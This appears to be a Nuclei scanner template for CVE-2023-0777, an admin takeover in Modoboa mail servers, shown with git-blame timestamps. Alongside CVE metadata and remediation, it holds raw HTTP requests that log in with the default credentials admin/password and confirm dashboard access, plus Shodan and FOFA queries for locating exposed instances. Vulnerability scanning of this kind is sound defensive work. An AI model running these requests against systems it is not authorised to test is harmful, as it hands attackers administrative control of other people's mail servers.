2023-10-17 07:20:28 +00:00
|
|
|
id: CVE-2023-0777
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: modoboa 2.0.4 - Admin TakeOver
|
|
|
|
author: r3Y3r53
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
Authentication Bypass by Primary Weakness in GitHub repository modoboa/modoboa prior to 2.0.4.
|
|
|
|
remediation: update to version 2.0.4
|
|
|
|
reference:
|
|
|
|
- https://huntr.dev/bounties/a17e7a9f-0fee-4130-a522-5a0466fc17c7/
|
|
|
|
- http://packetstormsecurity.com/files/171744/modoboa-2.0.4-Admin-Takeover.html
|
2023-10-17 17:52:26 +00:00
|
|
|
- https://github.com/modoboa/modoboa/commit/47d17ac6643f870719691073956a26e4be0a4806
|
2024-01-29 17:11:14 +00:00
|
|
|
- https://github.com/7h3h4ckv157/7h3h4ckv157
|
2023-10-17 07:20:28 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2023-0777
|
2023-10-17 17:52:26 +00:00
|
|
|
cwe-id: CWE-305,NVD-CWE-Other
|
2024-01-29 17:11:14 +00:00
|
|
|
epss-score: 0.07913
|
|
|
|
epss-percentile: 0.93646
|
2023-10-17 07:20:28 +00:00
|
|
|
cpe: cpe:2.3:a:modoboa:modoboa:*:*:*:*:*:*:*:*
|
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-17 17:52:26 +00:00
|
|
|
max-request: 3
|
|
|
|
vendor: modoboa
|
|
|
|
product: modoboa
|
2024-06-07 10:04:29 +00:00
|
|
|
shodan-query:
|
|
|
|
- html:"Modoboa"
|
|
|
|
- http.favicon.hash:1949005079
|
|
|
|
- http.html:"modoboa"
|
|
|
|
fofa-query:
|
|
|
|
- body="Modoboa"
|
|
|
|
- body="modoboa"
|
|
|
|
- icon_hash=1949005079
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve2023,cve,huntr,packetstorm,modoboa,default-login
|
2023-10-17 07:20:28 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /accounts/login/ HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
POST /accounts/login/ HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
csrfmiddlewaretoken={{csrftoken}}&username={{username}}&password={{password}}&next=%2F
|
|
|
|
- |
|
|
|
|
GET /dashboard/ HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
payloads:
|
|
|
|
username:
|
|
|
|
- admin
|
|
|
|
password:
|
|
|
|
- password
|
|
|
|
attack: pitchfork
|
|
|
|
host-redirects: true
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'status_code_3 == 200'
|
|
|
|
- 'contains(content_type_3, "text/html")'
|
|
|
|
- 'contains(body_3, "Dashboard") && contains(body_3, "Hello admin")'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
part: header
|
|
|
|
name: csrftoken
|
|
|
|
internal: true
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- csrftoken=([A-Za-z0-9]+)
|
2024-06-08 16:02:17 +00:00
|
|
|
# digest: 4a0a00473045022008f4d403a114f7b2ed86ddbb876e36c810ef957e29491d4f758a393ad4713a13022100a394ab052e8b43e15775b95ae9617e8470194068de5dfa37fe3bca5489a26213:922c64590222798bb761d5b6d8e72950
|